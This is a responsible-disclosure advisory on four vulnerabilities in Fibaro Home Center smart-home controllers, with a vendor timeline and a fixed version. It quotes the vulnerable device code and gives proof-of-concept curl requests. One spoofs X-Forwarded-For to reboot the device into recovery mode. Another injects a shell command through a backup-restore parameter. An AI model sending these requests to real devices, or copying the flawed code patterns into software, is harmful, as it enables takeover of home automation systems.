Fibaro Home Center MITM / Missing Authentication / Code Execution

Authored by Marton Illes, USER | Site iot-inspector.com

Posted Apr 20, 2021

Fibaro Home Center Light and Fibaro Home Center 2 versions 4.600 and below suffer from man-in-the-middle, missing authentication, remote command execution, and missing encryption vulnerabilities.

tags | exploit, remote, vulnerability
advisories | CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992
SHA-256 | 61fbf8e898e5647475b75b14d238a14e644554ce2d678e64107b734ed94f6275


```
IoT Inspector Research Lab Advisory IOT-20210408-0

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~

              title: Multiple vulnerabilities

     vendor/product: Fibaro Home Center Light / Fibaro Home Center 2

                     https://www.fibaro.com/

 vulnerable version: 4.600 and older

      fixed version: 4.610

         CVE number: CVE-2021-20989, CVE-2021-20990, CVE-2021-20991,

                     CVE-2021-20992

             impact: 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

                     9.8 (critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

                     7.2 (high) CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

                     8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

           reported: 2020-11-18

        publication: 2021-04-08

                 by: Marton Illes, IoT Inspector Research Lab

                     https://www.iot-inspector.com/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~


Vendor description:

-------------------

"FIBARO is a global brand based on the Internet of Things technology. It

provides solutions for building and home automation. FIBARO's headquarters

and factory are located in Wysogotowo, 3 miles away from Poznan. The company

employs app. 250 employees."


https://www.fibaro.com/en/about-us/



Vulnerability overview/description:

-----------------------------------

1) Cloud SSH Connection Man-in-the-Middle Attack (CVE-2021-20989)

Home Center devices initiate SSH connections to the Fibaro cloud to provide

remote access and remote support capabilities. This connection can be

intercepted using a man-in-the-middle attack and a device initiated remote

port-forward channel can be used to connect to the web management interface.

IoT Inspector identified a disabled SSH host key check, which enables

man-in-the-middle attacks.


By initiating connections to the Fibaro cloud an attacker can eavesdrop on

communication between the user and the device. As communication inside the

SSH port-forward is not encrypted (see #4 on management interface), user

sessions, tokens and passwords can be hijacked.


2) Unauthenticated access to shutdown, reboot and reboot to recovery mode

(CVE-2021-20990)

An internal management service is accessible on port 8000 and some API

endpoints could be accessed without authentication to trigger a shutdown, a

reboot, or a reboot into recovery mode. In recovery mode, an attacker can

upload firmware without authentication. (Potentially an earlier version with

known remote command execution vulnerability, see #3)


3) Authenticated remote command execution (versions before 4.550)

(CVE-2021-20991)

An authenticated user can run commands as root user using a command
injection

vulnerability.
```

Similar problems were also discovered by Pavel Cheremushkin from Kaspersky

ICS Cert: https://securelist.com/fibaro-smart-home/91416/

4) Unencrypted management interface (CVE-2021-20992)

Home Center devices provide a web based management interface over unencrypted

HTTP protocol. Communication between the user and the device can be

eavesdropped to hijack sessions, tokens, and passwords. The management

interface is only available over HTTP on the local network. The vendor

recommends using the cloud-based management interface, which is accessible over

HTTPS and requests are forwarded via an encrypted SSH connection between the

Fibaro cloud and the device.

Proof of concept:

----

1) Cloud SSH Connection Man-in-the-Middle Attack

Home Center devices initiate a SSH connection to the Fibaro cloud

./etc/init.d/fibaro/RemoteAccess

<snip>

```
DAEMON=/usr/bin/ssh

....

case "$1" in
  start)

               .....

    # get IP
    local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
    local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d '!"#$%&|'"'"'()*+,/:;<=>?@[|\\]|^`|\|||{}~')

    # get PORT
    local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
    local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d '!"#$%&|'"'"'()*+,/:;<=>?@[|\\]|^`|\|||{}~')

               ....

    start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \
    -- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}"
</snip>
```

The device uses dropbear ssh to initiate the connection; option -y disables any

host-key checks, voiding much of the otherwise added transport-layer security

by SSH: "Always accept hostkeys if they are unknown."

The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.:

lb-1.eu.ra.fibaro.com

An attacker can use DNS spoofing or other means to intercept the connection. By

using any hostkey, the attacker can successfully authenticate the SSH

connection. Once the connection is authenticated, the client initiates a remote

port-forward:

-R "${PORT_Response}":localhost:80

This enables the attacker to access port 80 (management interface) of the

device.

A similar problem exists for remote support connections:

./opt/fibaro/scripts/remote-support.lua

<snip>

```
function handleResponse(response)
  responseJson = json.decode(response.data)
  print(json.encode(responseJson))

  local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R '  .. responseJson.private_ip..  ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip
  os.execute(autoSSHCommand)
```

```
end


function getSupportData()

  remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint='
.. serialNumber .. '&HW_Key=' .. HWKey

  print(remoteUrl)


  http = net.HTTPClient({timeout = 5000})


  http:request(remoteUrl, {

    options = {

      method = 'GET'

    },

    success = function(response)

      handleResponse(response)

    end,

    error = function(error)

      print(error)

    end

  })

end


getSupportData()

</snip>


Here, the remote support endpoint returns the following data:

{"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY
.ZZZ"}


The same dropbear ssh client is used with option -y. In this case, port 22

(ssh) is made accessible through the port-forward. However, the device only

allows public key authentication with a hard-coded SSH key. No further
testing

has been done on compromising the support SSH connection.



2) Unauthenticated access to shutdown, reboot and reboot to recovery mode


The device is running a nginx server, which forwards some requests to a

lighttpd server (8000) for further processing:

<snip>

                                proxy_set_header X-Forwarded-For
$proxy_add_x_forwarded_for;


        location ~* \.php$ {

            proxy_pass   http://127.0.0.1:8000;

        }


        location ~* \.php\?.* {

            proxy_pass   http://127.0.0.1:8000;

        }

</snip>


The lighttpd server is not only accessible locally, but also via the local

network.


Authentication and authorization is implemented in PHP and there is a
special

check for connections originating from within the host. However, when
checking

the remote IP address, the header X-Forwarded-For is also considered:


./var/www/authorize.php

<snip>

function isLocalRequest()

{

    $ipAddress = "";

    if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))

        $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];

    else

        $ipAddress = $_SERVER['REMOTE_ADDR'];


    $whitelist = array( '127.0.0.1', '::1' );

    if(in_array($ipAddress, $whitelist))

        return true;


    return false;

}

</snip>


As the lighttpd service available via the network, an attacked can inject
the

required header X-Forwarded-For as well.


The check isLocalRequest is used to "secure" multiple endpoints:
```

./var/www/services/system/shutdown.php

<snip>

```
<?php

    require_once("../../authorize.php");


    if (!isLocalRequest() && !isAuthorized())

    {

       sendUnauthorized();

    }

    else

    {

        exec("systemShutdown");

    }

?>
```

</snip>

./var/www/services/system/reboot.php

<snip>

```
function authorize()

{

    return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER,
role::INSTALLER));

}


function handlePOST($text)

{

    if (!isLocalRequest() && !authorize())

    {

       sendUnauthorized();

       return;

    }


    $params = tryDecodeJson($text);

    if(!is_null($params) && isset($params->recovery) && $params->recovery
=== true)

        exec("rebootToRecovery");

    else

        exec("systemReboot");

}


$requestBody = file_get_contents('php://input');

$requestMethod = $_SERVER['REQUEST_METHOD'];


if ($requestMethod == "POST")

    handlePOST($requestBody);

else

    setStatusMethodNotAllowed();
```

</snip>

An attacker can issue the the following HTTP request to reboot the device
into

recovery mode:

```
curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d
'{"recovery":true}'  http://DEVICE:8000/services/system/reboot.php
```


In recovery mode, firmware images can be updated without authentication.

3) Authenticated remote command execution (versions before 4.550)

Backup & restore operations could be triggered though HTTP endpoints:

./var/www/services/system/backups.php

<snip>

```
function restoreBackup($params)

{

    if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0)

    {

        setStatusTooManyRequests();

        return;

    }


    $type = $params->type;

    $id = $params->id;

    $version = $params->version;


    if (is_null($id) || !is_numeric($id) || $id < 1 )

    {

        setStatusBadRequest();

        return;
```

```
    }


    $hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3");


    if ($type == "local" && $hcVersion == "HC2" || $type == "remote")

    {

        $version ?

                exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '.
$id . ' ' . $version) :

                exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '.
$id);

    }

    else

    {

        setStatusBadRequest();

        return;

    }


    setStatusAccepted();

}

</snip>


The parameter $version is not sanitized or escaped, which allows an attacker
to

inject shell commands into the exec() call:


cat > /tmp/exploit <<- EOM

{"action": "restore", "params": {"type": "remote", "id": 1, "version": "1;
INJECTED COMMAND"}}

EOM


curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type:
application/json' -d@/tmp/exploit  http://DEVICE/services/system/backups.php



Version 4.550 and later have proper escaping:

<snip>

    $version = escapeshellarg($params->version);

</snip>




4) Unencrypted management interface


NMMAP shows a few open ports on the box:

PORT     STATE SERVICE

22/tcp   open  ssh

80/tcp   open  http

8000/tcp open  http-alt


Both 80/tcp and 8000/tcp can be accessed over unencrypted HTTP.




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~


Vulnerable / tested versions:

-----------------------------

Vulnerabilities 1, 2, 4 were confirmed on 4.600, which was the latest
version

at the time of the discovery

Vulnerabilities 1, 2, 3, 4 were confirmed on 4.540, 4.530


Solution:

---------

Upgrade to the version 4.610 or latest version, which fixes vulnerabilities
1,

2 and 3.


Vulnerability 4 is not fixed as the vendor assumes that the local network is


trusted and the device only provides wired network access. Furthermore, the

vendor recommends using the cloud-based management interface, which is

accessible over HTTPS and requests are forwarded via an encrypted SSH

connection between the Fibaro cloud and the device.




Advisory URL:

-------------

https://www.iot-inspector.com/blog/advisory-fibaro-home-center/




Vendor contact timeline:

------------------------

2020-11-18: Contacting Fibaro through support@fibaro.com,

            support-usa@fibaro.com, info@fibaro.com, recepcja@fibargroup.com

2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on
LinkedIn
```

```
2020-11-24: Adivsory sent to Fibaro by email

2020-12-01: Fibaro confirmed the receipt of the advisory

2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes

2021-03-16: Fibaro beta release (4.601) with the fixes

2021-03-24: Fibaro applies for CVE numbers

2021-03-31: Fibaro GA release (4.610) with the fix

2021-04-08: IoT Inspector Research Lab publishes advisory


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~


The IoT Inspector Research Lab is an integrated part of IoT Inspector.


IoT Inspector is a platform for automated security analysis and compliance

checks of IoT firmware. Our mission is to secure the Internet of Things. In

order to discover vulnerabilities and vulnerability patterns within IoT
devices

and to further enhance automated identification that allows for scalable

detection within IoT Inspector, we conduct excessive security research in
the

area of IoT.


Whenever the IoT Inspector Research Lab discovers vulnerabilities in IoT

firmware, we aim to responsibly disclose relevant information to the vendor

of the affected IoT device as well as the general public in a way that

minimizes potential harm and encourages further security analyses of IoT

systems.


You can find our responsible disclosure policy here:

https://www.iot-inspector.com/responsible-disclosure-policy/



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~


Interested in using IoT Inspector for your research or product?


Mail: research at iot-inspector dot com

Web: https://www.iot-inspector.com

Blog: https://www.iot-inspector.com/blog/

Twitter: https://twitter.com/iotinspector


EOF Marton Illes / @2021
```

Login or Register to add favorites